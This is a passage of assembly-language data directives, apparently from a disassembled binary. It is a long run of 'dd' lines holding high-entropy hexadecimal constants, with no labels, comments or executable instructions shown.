870E1685h, 8805E867h, 3C41EB19h, 530A6AF2h, 0A5342447h dd 0C93F4E8h, 30A1D43h, 18118EAh, 50D0D4A7h, 0D587BE91h dd 6957D80h, 83420EAFh, 2C7C034Bh, 522D724Ah, 9EF6B5A5h dd 0B8F778ADh, 54848C9h, 59F6A3C9h, 6536748Ch, 8B026F06h dd 301FE4EDh, 2CF568CCh, 0A707C4CCh, 0C36317FCh, 1B151875h dd 27F3EE12h, 918BDB0Fh, 48CE5544h, 76BD68D5h, 8853AD5Bh dd 88D8B34Ch, 0E4970175h, 25831B44h, 0E861BD0h, 6663D442h dd 110CCCA3h, 0DDC0D89h, 0C40522C7h, 90CAACBAh, 8D071FA1h dd 0D885800Ch, 0D088084Bh, 7BA197C6h, 0F0502B04h, 8AE1FA81h dd 0CE07724Bh, 0E8EB1406h, 0CCFE97EEh, 0B69CF869h, 0BB416785h dd 83FE0400h, 2B3EFCC6h, 0EFC10F79h, 69CFE20Fh, 7120F5C9h dd 44018C8Dh, 6C899AA9h, 490E126Ah, 1265F7A8h, 0E68F83FCh dd 140E337Fh, 7F1C8D31h, 0E0B55D7h, 432C6256h, 0F61219BFh dd 705D3CC2h, 0C1077E72h, 834A04FAh, 3763F40h, 3E5AE86Ah dd 3B394B8Bh, 4C75088Ch, 73132020h, 54D0BB1Eh, 3D3CA8Bh dd 24C8DEBh, 21B8F704h, 4405B85Ch, 287509FEh, 95E4825Eh dd 4A8D0A3Fh, 1FA321E0h, 0C4B89C86h, 645C821h, 25045943h dd 7C9FC0Ch, 53084203h, 45B33C0h, 89F4E4F5h, 552E5A62h dd 0F895AF0Ch, 0FF085213h, 80D13195h, 80DC5DB2h, 0F4519722h dd 1FEC22B5h, 25F0752Bh, 0CA04FBC1h, 0F38936h, 0DE3B5E4Bh dd 8B740276h, 0D12C90D9h, 373989A0h, 4E25D63Bh, 6374DAC2h dd 71CA45EBh, 870BE8Eh, 8FB8340h, 0CB60BE1Ch, 15F7EED3h dd 0BA7421D6h, 4034C02h, 9A902675h, 1F0AEB31h, 1FE04B8Dh dd 0B4561DA2h, 0BA4168B8h, 975A71C4h, 93029A0Bh, 0C934E89h dd 0CAE01FCCh, 47CF7524h, 5A4BB95Dh, 2AEAEDDFh, 0D096B6E8h dd 4D15CD6h, 9481BD90h, 5265B65Eh, 3670DF5Fh, 3B610C83h dd 8A60751Eh, 51502025h, 3A0F4D88h, 19E2C1FEh, 0A8632573h dd 0E4882DEh, 24EDB660h, 716E1909h, 0F7AE4744h, 49297518h dd 671C1025h, 568C2682h, 7A86BA21h, 0B98453EAh, 0B9100912h dd 1D063997h, 0A4A53044h, 3A8208F8h, 0D4A124F7h, 508AAA7Eh dd 0C80D8B0Dh, 4C35D81Dh, 0C103A69Ah, 48030FE1h, 80A6380Ch dd 0E20EE4Fh, 52FF5153h, 334520D6h, 2A095C0Ch, 860F0850h dd 1040063Ah, 0DA88A483h, 21C2588Ch, 934348FEh, 80B3C70Bh dd 42EEDD79h, 0FE0460F0h, 782912AFh, 53693260h, 70341CB2h dd 1359B60Ch, 9B6A1014h, 0CFF648D0h, 0F430738Bh, 48C18004h dd 0C82AC3E0h, 982B7729h, 0EC111D4Ch, 14484E51h, 0E4EC2196h dd 0CF96A80h, 50D8E65h, 9053B30h, 4B017623h, 6314086Dh dd 0DA534C2Fh, 20B17445h, 0D61E820Eh, 4B145958h, 67314C64h dd 3C4257CDh, 6CC8D682h, 831617BEh, 2341F0E1h, 4904F9C1h dd 7D20A0EBh, 4CCEFE0Eh, 0E54A0BFFh, 28B87CF9h, 9182ECEBh dd 0F681A157h, 1FA7E8D3h, 42A14F05h, 0DF3BD868h, 73089860h dd 7C231959h, 58DC23F6h, 0CF0BFEC5h, 0C31107EBh, 0FC5DD314h dd 0E7723318h, 3F797511h, 0D8A8DA8Bh, 0C8154627h, 0E6EB8D05h dd 8F59E534h, 0C411734Bh, 40D6087Bh, 0EB55C529h, 263808EDh dd 1C540D51h, 97EE3048h, 18845D0Eh, 0DB85F84Ch, 50147488h dd 67FD0F53h, 0FF10B859h, 0A943541Dh, 465F3825h, 472AC254h dd 0A69B1D89h, 2EC92A73h, 6F1D58FAh, 8CA25CFCh, 0ABFCC490h dd 8944EA4Eh, 91F63751h, 24907013h, 7EDE4155h, 483E96FDh dd 391FAFCBh, 0AD173A3Fh, 74AEA991h, 103B355Fh, 0FE3CC005h dd 0D70B3903h, 9AC6E974h, 332E9890h, 0C1FA61FFh, 0B1854C49h dd 310D75CEh, 80206A67h, 0C9855FCBh, 6D1057Ch, 0F7EB47E1h dd 5431438Bh, 2B0A88F9h dd 0D3F11F64h, 0FEC60F5Eh, 42834EA7h, 0E7CA7E3Fh, 30F7C861h dd 1440D99h, 0E722B04Ah, 0FF836100h, 2B598590h, 12CF8B01h dd 0EA05750Fh, 53D438h, 5C23ECF4h, 82EF4488h, 750FFE09h dd 0B3A05738h, 0B21EC4Dh, 2CCAEB5Ch, 2872154Fh, 9F24962Ch dd 1986266Bh, 996FD454h, 86512D43h, 0D26CB233h, 619F7A06h dd 0B943F844h, 0CDEDBE79h, 3012081Ah, 9458842Bh, 16AAD0C0h dd 0C050F17Ch, 7B466EA6h, 8D51B252h, 0B9E60C22h, 0C060649Eh dd 10FE8106h, 0B0297D0Bh, 0EF9798C2h, 0CA25DEC3h, 60B1BFC6h dd 9EFD3CEh, 450B3B57h, 417CF990h, 4B2FEBAFh, 8D0D0529h dd 2159E04Eh, 17297B55h, 0AEBC8D14h, 86C52EDAh, 2C37090Ch dd 0FCA3B7F8h, 82950A89h, 3452FC01h, 2C1D2BFFh, 146D1D9h dd 0FC321341h, 0ECDA025h, 798D448Ch, 1AF63E20h, 0ED1D3B26h dd 99120D4Fh, 90A2C6EEh, 0CC709407h, 80B8925h, 1A04428Dh dd 22036C09h, 0C8BFC40Dh, 2EC13BDAh, 0B5D3075h, 70295089h dd 0D81175D4h, 5195572Ch, 0C73B1054h, 94899074h, 0C944699Bh dd 0B803E86h, 3ED4C468h, 88B069E1h, 244F3146h, 0F4B38134h dd 46896860h, 2A177410h, 4C1F046Ah, 764D51EEh, 5015A98Ah dd 750C621Ah, 57D12557h, 844FFA9Ah, 4E7DC262h, 0C60E22E2h dd 65047E47h, 84635A05h, 0C6ECD878h, 94A36C97h, 0F45747E1h dd 41C9C271h, 9BF0B5Dh, 0E05022C3h, 0C3C32443h, 0C8EC6938h dd 0F9B85A82h, 0D683304Ch, 840F746h, 82044A06h, 1F494AFDh dd 0C18641FBh, 79DD70E7h, 52AEF8B5h, 80388C10h, 0B7949342h dd 18C20AFh, 8D38F30Fh, 32703097h, 7A77FA3Bh, 0F0476B3Ch dd 85050E77h, 0D7BAEC88h, 0FCECEEF6h, 4076C70Fh, 4356F045h dd 80EF4A1Eh, 0C70448E1h, 23E88034h, 5705150Ah, 0CE3D2D26h dd 94C795A0h, 5842473h, 0FCF8050Ch, 4F5F8D5Ch, 8DAD81CEh dd 12BB0C4Ah, 64900041h, 86CE449Eh, 0E420B2BCh, 0E643468Ah dd 2E0C98C8h, 8F7BC084h, 75804E88h, 4780903h, 9A60BA4Bh dd 1ED2F7EAh, 57085021h, 0CB538C3h, 5227FDABh, 0F84B6610h dd 708D04D7h, 0E4512B17h, 0E65C83EAh, 0FEA16ACh, 832B8513h dd 49FC4F05h, 45D953Bh, 0FB395C2Ch, 3EF1E25h, 5F8E0F38h dd 701E3B5Eh, 134F854Ch, 0F8D94F03h, 458F1F08h, 316B1BA6h dd 8E643FF1h, 4F064876h, 8B115931h, 0CEE4315Fh, 162C4806h dd 2C1F7320h, 8D13F854h, 0F288014Ch, 2B468490h, 18082425h dd 909CF822h, 4FF1F59Ch, 89A728DBh, 7F06CB09h, 30066513h dd 1CE2B10h, 56A97F8h, 5DAA9C06h, 2A0E8CB5h, 0FFC10C0Ch dd 318A4F04h, 112730DEh, 0F4035FFBh, 4FB1CF9h, 405BCC0Ah dd 0D70C12B6h, 18461B80h, 3B890C79h, 5C751E8Bh, 8078C04h dd 971393FFh, 2110C84Ch, 0CF91857Bh, 0B9E610D2h, 0CF0A6656h dd 972125EBh, 0DE331210h, 0BA842948h, 4FB72EB4h, 5548054Bh dd 449D880Ch, 4C433259h, 87012C74h, 46FD244Dh, 6942F3E7h dd 9C5A2A22h, 13E61225h, 0FB1BF6Eh, 84F73A8Dh, 290C5D03h dd 31A4B54Dh, 335C6E4Bh, 0D0F6A565h, 33E9B152h, 32BD8323h dd 31545ED8h, 36EA0112h, 29F53EAFh, 54199105h, 2E903B22h dd 0DDB1754Eh, 0CEA26C3Ch, 45067422h, 8B0E167Ah, 0C44E216Ch dd 0DA778E06h, 777A91EEh, 0CC1B7102h, 8F81601Eh, 0E8E6BC03h dd 0C77A760Ch, 207B10EEh, 0A47BDD4Bh, 62DABC71h, 0EEE55CFBh dd 51AE13A7h, 0AE386218h, 42E33DD6h, 62473940h, 0F88CE10h dd 81E6164Bh, 62227922h, 0D77A4EC8h, 8103B804h, 2BFC184Ch dd 8381C2A9h, 220B83Dh, 1AAB77FFh, 0A8BEC303h, 1DEB190Eh dd 3EEFDD68h, 0F6F4B55Bh, 73880C44h, 2CD1B12Dh, 40407170h dd 0F88BD52Ah, 5EBD8575h, 56344D38h, 3B15029h, 3457538Dh dd 0AF22033Dh, 3B5CB850h, 1E75F01Ah, 610A09E4h, 846A363h dd 3FAC431Ch, 0EB08501Ch, 689150Ah, 0BB2C09A1h, 35501228h dd 30888B09h, 6887518Dh, 0D9988ED8h, 0FF143491h, 4EB2189Bh dd 477EEBC1h, 0A181CBCBh, 0BBF1B9EDh, 83D28F2Dh, 9D0FE0FDh dd 73234AC2h, 894532D1h, 94E44832h, 5EFD8125h, 0E37C84AAh dd 5BF8AB53h, 3EC90B5h, 0F8073BC3h, 8F801B73h, 7660715Dh dd 3A819047h, 499C707h, 0E2811BF0h, 0DCEBB590h, 2EC68B3Ah dd 716DBE27h, 224CFF02h, 0AC91FE81h, 169F7B74h, 1549EE5Bh dd 0A15D595Bh, 216FAE31h, 35390233h, 80B40C8h, 0A39AC1F7h dd 0A6433315h, 0D20EE621h, 0EFE21291h, 0AA042FC9h, 0C27E5239h dd 91460D9Bh, 0EB2ECE9Dh, 57140623h, 0FF27ED83h, 31712D1Ah dd 7DA4BE1Fh, 0F03768A8h, 0BA3AAE3Fh, 0E2397542h, 144DD1C5h dd 7A53DF03h, 2585502Bh, 831FA540h, 0DFA0F7Ch, 4792E45Eh dd 0A490FC46h, 14C71364h, 9E7B3C87h, 0D6582765h, 81280DFEh dd 833D30EBh, 0DB8585EFh, 23C9B27Dh, 76C85021h, 2C743D04h dd 405C79ADh, 93E02616h, 5A202741h, 420CE7A2h, 0FA435244h dd 2408EF29h, 0EEC82D31h, 59293214h, 7489A53Bh, 4221DE0Ah dd 1A29508Fh, 949E565Ch, 0C690F6BAh, 413BCA01h, 8B057610h dd 0D072140Ah, 74F8F928h, 0EEEB0237h, 31750FA8h, 2EBA5761h dd 0E6811ED0h, 2DF94FFh, 2072F23Bh, 0D9864A4Ah, 0C1B70D0Eh dd 37B6601h, 0C12BF096h, 1DF11E4Ah, 0E86126Bh, 0B13208F1h dd 57A9EE53h, 2B8B0576h, 0F9580348h, 0C82E1B0Ch, 0FC01D18h dd 12F11B6h, 81EAC010h, 4119138h, 0C80440C7h, 17147517h dd 92FB05FFh, 3F066610h, 5108AF20h, 88140571h, 3B77EB59h dd 57A61969h, 0B4A5CDF7h, 0C240376Ah, 6A60087Eh, 13C02018h dd 83C62BC7h, 0F69CF5E8h, 0CE0CE03h, 0F93BC282h, 7309F058h dd 0E30F8B3Ah, 7CCBE0CEh, 0D5E09D1Ah, 535E1576h, 17012742h dd 6E9B5CEEh, 2E09D637h, 42A6C7FAh, 3848B194h, 46C8728Bh dd 4E464006h, 7E32A8B0h, 62F82618h, 2542F885h, 127C3373h dd 4D197C8Ah, 0D4EE1412h, 264F2C70h, 788199CDh, 0A681A04Dh dd 72F87D3Bh, 364648D2h, 74B74CF9h, 0B1D154Ah, 0D89F40Ah dd 0B1F2989h, 74A05AD5h, 0A66AB117h, 7F830991h, 3A78338Bh dd 2BE10CECh, 0DC3FAC0Dh, 29D7DE02h, 5FF18755h, 0BA4493F9h dd 2B3360F3h, 0A1EEF4F7h, 0E602FEE0h, 2837704h, 11FE263Bh dd 49F3BC02h, 2049EB0Bh, 5574F754h, 0D72CD3EFh, 57260151h dd 9CB9562Ah, 0FC6C05Fh, 33E1B885h, 0F8750BF3h, 0D05F1A56h dd 78B984A7h, 7ECB2CD2h, 0B0B826B3h, 0F488801Eh, 509B65B1h dd 0BAD49F1Ah, 9C349989h, 41C72411h, 8D1EAB9Dh, 40D4C183h dd 89D67507h, 4CC53D52h, 3D3752E9h, 0A373A83Bh, 5F83966h dd 0F2EB303Bh, 23C01B1Ch, 47270698h, 40C12A0Ch, 29EC1428h dd 0BCD70372h, 26FA881Fh, 2493E86h, 5E34EB21h, 2974C22Ah dd 0DE280F54h, 195432C7h, 44761B4Bh, 5B2B76DAh, 1D5412D3h dd 50298122h, 44818D18h, 12A8AF34h, 4F1E5E4h, 2AF4B1BBh dd 0A026712h, 0E4998D39h, 0BC8D9019h, 2F0224A8h, 8D215820h dd 88721704h, 7306A690h, 29110107h, 9EB0E8Eh, 2CBC6183h dd 0FF8A2017h, 722247D5h, 312193Ch, 8A4BBFF7h, 8D388202h dd 0A540DD34h, 8A024373h, 75DB8418h, 583CC930h, 70805ECCh dd 0C04F63Bh, 0F7EB4643h, 4E4F73A4h, 960530B4h, 1C4B3F22h dd 5539C9B7h, 9982B582h, 0C3058F73h, 0A00505EBh, 424C03F3h dd 0F0BDE875h, 0F7E0EB71h, 0F67E6673h, 0E0FF6816h, 64E8A76h dd 0CE40C7A0h, 58685EA5h dd 0EC432543h, 581C5A1Fh, 928B2F0h, 1968AC2Bh, 0CC5399AAh dd 10883102h, 30EBC249h, 730AC227h, 69452913h, 3347209h dd 0EAEEBF0h, 0F003C0C4h, 1670A7ECh, 41C2448Ch, 8809D1ADh dd 0E2B80E16h, 420FC96Bh, 5FE255F0h, 21AA24BCh, 5662E450h dd 55570A86h, 25694D76h, 82814740h, 0C03F0CF8h, 0C77C8D62h dd 7C761825h, 2B813C8Ch, 10288C8h, 2347F50Fh, 60EB06E1h dd 81296573h, 83CD02D3h, 0C60A5423h, 18D15572h, 0A730E11h dd 0D6D3CA95h, 18F41B4Ch, 0B38A42B9h, 0F78B6A46h, 2B77D0B1h dd 2732C27Ah, 73D12C9Bh, 89FE9C14h, 810638CBh, 3C804066h dd 615F42DAh, 0AB484347h, 6CC8B63h, 0D2EC2B03h, 9179BAD2h dd 3D09C33Dh, 506948D8h, 0D7822B29h, 0DEFB8BDDh, 0D90A4C68h dd 0F0FEE68h, 49EADFC9h, 701F3148h, 5DFAAE98h, 53BBC34Fh dd 0C8DFE889h, 0EF71B521h, 0B0CBA62h, 58C654DCh, 0A6D0B72Ah dd 31BB185Bh, 66591D04h, 2722359Fh, 0FEE00805h, 0F1368DABh dd 138D7E20h, 27A81597h, 0AA62414h, 20423118h, 5996B943h dd 0A4342CFDh, 0DD9DC828h, 10C49B23h, 4A500C71h, 12CF419Ah dd 0E25FF80Bh, 47A21310h, 1820986Bh, 0B792EB86h, 0B64222A2h dd 2E15C2ADh, 0ED125B86h, 0E1D5B13h, 10C78A0Ch, 7432C1F6h dd 5493DD0Dh, 0C0008FDAh, 0C2045809h, 0E740224h, 83109331h dd 2100448h, 91A2CB84h, 854B7433h, 0E79E8E11h, 138CA5F8h dd 0FD789046h, 6A01C87Bh, 30CEB590h, 0D1F7E050h, 183CB23h dd 0E1C1EFE2h, 78CA0B04h, 6844189h, 35CD2A2Dh, 9EDF2683h dd 30A1F936h, 0E98DEE17h, 0FB2E9133h, 3E9C1F0h, 42CF2320h dd 8505B2FDh, 1754FE60h, 84C68002h, 0A80774C3h, 0A4983E9h dd 4A8100Ch, 0FBFECF0Bh, 74048F42h, 13062DFBh, 20A6DF02h dd 58454015h, 0B9C3B0A3h, 2CBFFA87h, 34740449h, 0DDBCB53Dh dd 80E911Fh, 0C10CBE48h, 83472875h, 0EB3703FAh, 0B6BA1120h dd 0E2CFD8B3h, 50C9A0Ah, 91E8CB8Fh, 20F04541h, 34384FCh dd 4C02817Ch, 884223Eh, 1AEBE320h, 0C9D3E7E7h, 9B0BEA04h dd 341ECC0Dh, 0F0D1280h, 0D7D281AFh, 330FCBE6h, 0E267050Fh dd 0EAFE071Fh, 821B22D3h, 4879279Eh, 0D0E35E6Ch, 1D63E6F4h dd 2786DD18h, 105458EAh, 0ED86501Fh, 1C7C300Dh, 191144D0h dd 403E07DDh, 0D4271022h, 535FF97Ah, 151611E3h, 20AC965Ch dd 0C840F639h, 83030604h, 0FB13FE26h, 489FB08h, 289F708h dd 842AEF08h, 0DF501A58h, 0FF39BAA7h, 0BCD973F3h, 0D241E91Ah dd 16CD4925h, 8009069Dh, 4E801E75h, 0EB240C01h, 1E3C8918h dd 0CDD2FBE5h, 0AA8031Ch, 9404F740h, 2102066Fh, 68BD6C16h dd 0A107E100h, 8C071334h, 2AC61662h, 334A12EBh, 248CA23h dd 99107CAh, 0DD5A8E03h, 1FD73C40h, 0D4D776EDh, 539E0461h dd 0E79EB057h, 50B21F4Ch, 740A5BB4h, 0AB5D8414h, 58A40F13h dd 59063222h, 5150F72Ch, 0D84E1F24h, 8DF61689h, 6ACD0C70h dd 0FB1AB1EAh, 0BBFD450Dh, 6EC5485h, 3E781089h, 0F16AC844h dd 91B82248h, 0EC032FE0h, 3022C823h, 0F9812488h, 105866E8h dd 2831E9A6h, 9085303Bh, 0C014616h, 1DDC01DDh, 2A21A440h dd 0BFB805E0h, 0B0FE598Bh, 0D9027707h, 0F45DA55Fh, 0EB325C87h dd 0C620966Eh, 4A087635h, 0F1EBA844h, 281C2D49h, 0B8C48546h dd 5334A872h, 0A8C8701Eh, 0A119EC54h, 0A80CFEDAh, 8CCE0240h dd 6EB33BE3h, 2633561Fh, 830293CBh, 867045AAh, 718E30A4h dd 0B58F46C8h, 587CAD25h, 0D22D23Dh, 0E5E67D05h, 98D59C9h dd 3508DD04h, 0FBCE0CFDh, 95C7D0Ch, 2B8C6C66h, 435453EBh dd 3984738Bh, 0D2E5A0D3h, 0B3E18A5Ah, 4E600FF9h, 12896166h dd 0A8FC03B8h, 7D062B60h, 84C12B1Fh, 0BF3E9860h, 8F818788h dd 1C796DD1h, 8955FAF8h, 18020DB5h, 4A7548E4h, 0A111A5E3h dd 0A248C799h, 66EB1843h, 325E6055h, 0B5106A24h, 0CE44FD51h dd 0A9118A92h, 0B8A83D4h, 1762A56Ah, 85B9E0EFh, 5B5F2DFFh dd 0BA7D14E2h, 0AF11FF85h, 2B1EDD01h, 6CE4A5C8h, 56642A74h dd 11AD5195h, 79114D14h, 21AB755Bh, 28681C89h, 0D428CF0Dh dd 79203B75h, 6FC8E05Fh, 2E64B424h, 7CDC491Fh, 175B13B1h dd 0E8D2A428h, 0F81F82C8h, 93A38E59h, 3C4687BCh, 9C732A45h dd 2036386Ch, 0AE8D59D6h, 12CD496Eh, 7F179057h, 9345BD15h dd 1ECBC392h, 0C933097Bh, 58E2D0B8h, 0C85FC662h, 9C0E7400h dd 3D410967h, 0ED7CD510h, 423489Dh, 3BD46FCDh, 65978A0Dh dd 56AF87Bh, 9816EB2Eh, 0C30110B3h, 0A6E8C70Eh, 3E061E19h dd 58031161h, 508C38C3h, 0D1730275h, 85688AB6h, 0FCD90804h dd 2B44CDABh, 0B82975AFh, 310E316Ah, 0D52BFE05h, 0F3D81C4h dd 8741A580h, 25490B99h, 2965FEA8h, 7D81BE04h, 7FF0F8D0h dd 39093F75h, 328508ACh, 12913CD7h, 750319FFh, 0B8950B2Ah dd 0BAA27FF8h, 0DC4366C8h, 33EC2758h, 13F9A417h, 0E8F7136Bh dd 74A71D7h, 75598E86h, 2F6EB074h, 640E5D58h, 98B49594h dd 2D9A562Ch, 4442A0A2h, 83299042h, 0BB21AD22h, 99660741h dd 65830E74h, 40840F0Ch, 33AE574Dh, 9948BE4Ch, 0E72F736Fh dd 5EF63395h, 0D1DE0C10h, 0B120C65h, 5A038048h, 130E7ECh dd 0EB4E081Ah, 0DC89E751h, 99FEF0Eh, 2C5E121Bh, 995182E4h dd 822043CEh, 0EB9CDF54h, 8D162756h, 0E423968Bh, 4FC0E51h dd 0BE255066h, 0F0BF090Fh, 2612EE81h, 891834AAh, 315F3089h dd 7DF49B64h, 2C38D4FEh, 1B620E42h, 0F94E2DBh, 955DD095h dd 0C8F45272h, 695D234Bh, 0B524D5Fh, 0E440FEE8h, 47BEE76Dh dd 0E2977146h, 1C2DE98h, 2DDB0A74h, 0D9E325D0h, 399BF95Dh dd 51103B0Dh, 171209D8h, 2D1BCD83h, 0DC49656Ch, 44B51234h dd 0E8C87135h, 69F17FDEh, 84431DD8h, 1989EBF2h, 0A2E3812Bh dd 1700B86h, 4F0EA499h, 0FE623359h, 5019E118h, 491F72h dd 9485479h, 99C8A3F0h, 9BFF75DCh, 6D06374Dh, 1EE8F618h dd 0D05820E7h, 976BA25Dh, 1A7D8AAEh, 0FC5C7468h, 2FF5CBD2h dd 1F58EDCFh, 0DB60E87Ah, 38506221h, 0B048C3D0h, 90956E22h dd 0BDBE0FA3h, 7669FDDCh, 74590244h, 96F7462Ch, 0FA32D407h dd 9A07E35Eh, 71CF71Eh, 0D47501E9h, 0D7340DE8h, 1E1BFC57h dd 0F5F9460Eh, 0BCC1FDEFh, 0C984840Ch, 8EA8F375h, 1E15D5DFh dd 74240830h, 0CA743A0Ch, 148E8F1h, 0F43D4066h, 0D50FDF24h dd 0D06192Ah, 3465F980h, 74450AC9h, 0FED9244h, 38674877h dd 49FAB730h, 0A1011487h, 2E40118Ah, 0CA88D6A0h, 0AC4EF616h dd 59A22CEBh, 0C09D2A72h, 522A8F4Dh, 74E6815Fh, 0DE13B1Bh dd 2D60AE08h, 0A5298B12h, 892D0CD8h, 48774808h, 95129004h dd 602918ECh, 41BF1B3Fh, 7380CD4Ch, 0F2A25A3Dh, 277413B2h dd 69A1D9B0h, 0C4091BE8h, 0DB06D670h, 51C19F0Fh, 38831714h dd 538D1E2Dh, 31011F03h, 24EB267Bh, 8B4C3806h, 498C9074h dd 0E3608675h, 565EC96Dh, 437E90DAh, 83925050h, 0DA633E6Eh dd 3412372h, 82CA92D0h, 5D6C6039h, 0A635DA8Dh, 0C61C65F9h dd 3C40313Ch, 0D24147Eh, 788D3A57h, 64088812h, 786EA44h dd 6870C516h, 38E24580h, 0E95240Dh, 0CB4DC879h, 20DA9383h dd 0B8449EEDh, 122690C8h, 0E04501C6h, 279141B2h, 5E403C1Eh dd 5794B04h, 28DB64F7h, 0FB92802Dh, 115A7C64h, 99608D87h dd 90FEF75Eh, 3714DEBEh, 2FDAF60Eh, 8D760A43h, 8DAA98B7h dd 17EAAA5h, 6C0C8052h dd 48561024h, 0A11A9657h, 875521F0h, 35441C95h, 0F02F0E89h dd 89247ECh, 8F403E43h, 0A08B76CDh, 4C8030C1h, 0EB3BAA60h dd 5B6CB55Ah, 326A6F0Bh, 4460C20h, 0BC34803h, 0B9C5B7B7h dd 0FD040234h, 45C60775h, 17D8D03h, 0CCB14F4Ah, 5773A03Bh dd 0C6075B93h, 47453007h, 0F80312C1h, 0AC411D24h, 1BA04816h dd 7885982h, 471D7B5Eh, 7DF685C2h, 0C0AFBA28h, 33DEF715h dd 3B0806EBh, 78FE7CB2h, 9D2D5314h, 0D3306AC9h, 0BB1493D0h dd 8DAE1664h, 227DF155h, 450721B3h, 0BED824A3h, 0FA49EE09h dd 0F00D24CBh, 89E96AF3h, 0EB305350h, 5653F18Bh, 0DA0D48B2h dd 392A0597h, 9C0F2741h, 0F4E588C1h, 4403D40h, 282DB048h dd 2415A3FCh, 923217Ch, 0CAA51D7Dh, 4817BE0Ah, 20F98EC1h dd 0C23FFED9h, 94990C3Dh, 32A77277h, 0B9141C10h, 10025012h dd 5A2FF779h, 5C62917h, 95DB2FCEh, 0D323E1CFh, 0E64D2580h dd 432757A0h, 3AAD970Ch, 0D7ABFC9Eh, 2CDCBF23h, 83107DC5h dd 0D3B3246h, 1A2C2245h, 0E9137566h, 368CE557h, 0E5DF4F5Ch dd 0E0161854h, 56EBB525h, 0F4DB1311h, 5D52E769h, 8565957Ah dd 1FC91AD6h, 9551FDE6h, 0A550400Fh, 0B06F703h, 274980E4h dd 0E1745F5Eh, 0BF5718C0h, 93051320h, 2C12BE19h, 0A41B65BEh dd 664E0465h, 0B77E5FC3h, 0FD6FC90Eh, 6975F2A0h, 5652FF6Ah dd 2A476366h, 0EB7F1B57h, 0EC3E56h, 63388150h, 0E06D2F73h dd 7820F0F8h, 4068A214h, 0BD084973h, 0F1D6D00h, 242755B6h dd 54A25552h, 655D561Ch, 18C02C57h, 0EB2074D1h, 65181F52h dd 1B2D2406h, 0AB27B18Dh, 0BE253E3Dh, 182052A6h, 0D6800C25h dd 840896Ah, 0F0EB10FFh, 0F0DBA7Ch, 4413B18h, 538AAA15h dd 0BB088ABEh, 0E0C34880h, 3F850F1Eh, 5AB75A95h, 569D837Eh dd 56A187F5h, 0BE891651h, 0F808604Bh, 91E87C8Ah, 0FCA11B1Bh dd 14D04E1Bh, 7873BE85h, 6297C9ECh, 75A511F7h, 46035649h dd 387784F9h, 28340B44h, 0C88EDB1Eh, 45B6D114h, 20C84512h dd 0FCBDF0A4h, 45FC47BDh, 0ABE33457h, 0E3E21991h, 0D82D8032h dd 383BBD06h, 0AB378CFEh, 7FA36394h, 47BE97Ch, 167F77D5h dd 76F6ED52h, 1031CF9Eh, 853F7EF4h, 403F0B8Ah, 0BB788684h dd 1212F610h, 2A097EF8h, 37270476h, 4F29D998h, 0A9F837FAh dd 582F19D4h, 3E39634Eh, 163DE17Fh, 1082E4F4h, 49345FAEh dd 6458EBC2h, 6555EC49h, 355153F7h, 0C8605281h, 0B2B8856h dd 4EA52C15h, 14C30091h, 28093D2Ch, 0DD29807Bh, 0AA6AF607h dd 6E2E1F1Fh, 6C64259Eh, 88421583h, 0F006654Ah, 48294778h dd 0D58CC552h, 5C4A2F81h, 5D3DBD32h, 0D28523CBh, 35B1217Ah dd 4BF62E18h, 0BAE10BDCh, 6E02E477h, 85F2FE73h, 21243BE3h dd 73F887F0h, 7C3E514Fh, 7C61E643h, 22D5DE7Fh, 0D0104E0Dh dd 98037419h, 57F44D5Ah, 79800607h, 0BBFA0908h, 0F0C08314h dd 6FF0936Bh, 0A36FAF50h, 2E721EAh, 0A9EB14C6h, 0EC8F5E57h dd 48BD479Ah, 63804A30h, 508D8A78h, 0FC4194A7h, 44E848Dh dd 852AA1F1h, 52608298h, 8245657Fh, 206F622h, 7C006FFh dd 5D184A4Ah, 0A8143823h, 0A670F01h, 0D2309D09h, 475A40Eh dd 0A5B3BCAEh, 88FB31AAh, 0CC80FA4h, 73DEDAC9h, 4875F273h dd 804E03E4h, 55741408h, 7EAE609Fh, 9977F405h, 787949CDh dd 44484718h, 0BA5A4F0h, 103680Ch, 0D034E455h, 0E84F9D36h dd 0CFEB3C1Fh, 0B9340BCh, 8156F57Dh, 93341348h, 3A4551Ah dd 1DF03437h, 74A6EBB7h, 340FAFC6h, 7D0D8964h, 547EEC3Ah dd 0A761166Eh, 71380374h, 0B92B952h, 0FC742036h, 11E21C97h dd 37220251h, 93F937Ah, 0E9D6BC2Ch, 1F34FC4Eh, 7349F8BAh dd 8D66D1B5h, 42D8BCE0h, 6F4C3674h, 0D209575Ch, 87680283h dd 287AC48Bh, 0EE868940h, 1E0C5473h, 2049A610h, 0A197862Bh dd 50570718h, 567A4042h, 912FEA2Dh, 8E1CA898h, 4ADE7A97h dd 50C3FED4h, 0EC16DCDCh, 4D587EFFh, 0C70D2C45h, 83E4124Ch dd 58E032FCh, 0A23DFE17h, 840F7215h, 9F5D7615h, 66AC7D53h dd 551E2B69h, 41E1D3C8h, 0A5DA649Ah, 113C9241h, 0C8BF4CE6h dd 61F52DC9h, 0D922C64h, 5091D5E4h, 0BF8DAAB6h, 0E3E0BA44h dd 4EB9A25Ah, 92CFEB14h, 0EE6C8F42h, 892DD878h, 0E4678246h dd 0CF7FAFA3h, 127E14E0h, 0E883F81h, 0A20BB527h, 0EE213C07h dd 979214CBh, 1F391285h, 0A1398C5h, 0E6274D4h, 620AE495h dd 0AD6F6EFBh, 1975839Dh, 6D3F7883h, 698C7613h, 88A91E0Ah dd 362A27E7h, 0AA65B04Ch, 41AF815Fh, 99447A04h, 26120175h dd 6B4514E9h, 22422ABDh, 8BE89C60h, 2959107Ch, 0E0E6F61Fh dd 25EE4413h, 186882E2h, 0D0B80751h, 598A3027h, 86628ABFh dd 571E4412h, 0C24B88B9h, 2BC41488h, 2E0D9891h, 229938E7h dd 966113E9h, 31131488h, 0A521D0Fh, 73114C5Dh, 2A84E4A3h dd 0E0E4D64Ah, 574F1464h, 8D408CB6h, 1804FE7Eh, 33BE850Fh dd 23A1078Bh, 0BCC014B4h, 67EB5608h, 0A183497h, 3A75C256h dd 8C475896h, 0A97E74C6h, 0FF473483h, 60502B9Dh, 3A66EB8Ah dd 9E5674E2h, 0FA485736h, 500DA228h, 0EA04C53Bh, 0FA40D31Ch dd 472DFBC4h, 82AA46A1h, 1FEBB5E0h, 0AE8B1A9Dh, 6AC43AEBh dd 0AA524F96h, 874C91BFh, 9680B02h, 0FC0C431h, 2933518Eh dd 74AB51F9h, 884B381Bh, 20119204h, 70FF51AAh, 0A691855h dd 1D02D262h, 0DF0C4538h, 6721B9C2h, 0C2CFA401h, 13AF42F4h dd 60EFCF16h, 0C6030451h, 7CD21785h, 32200D0Dh, 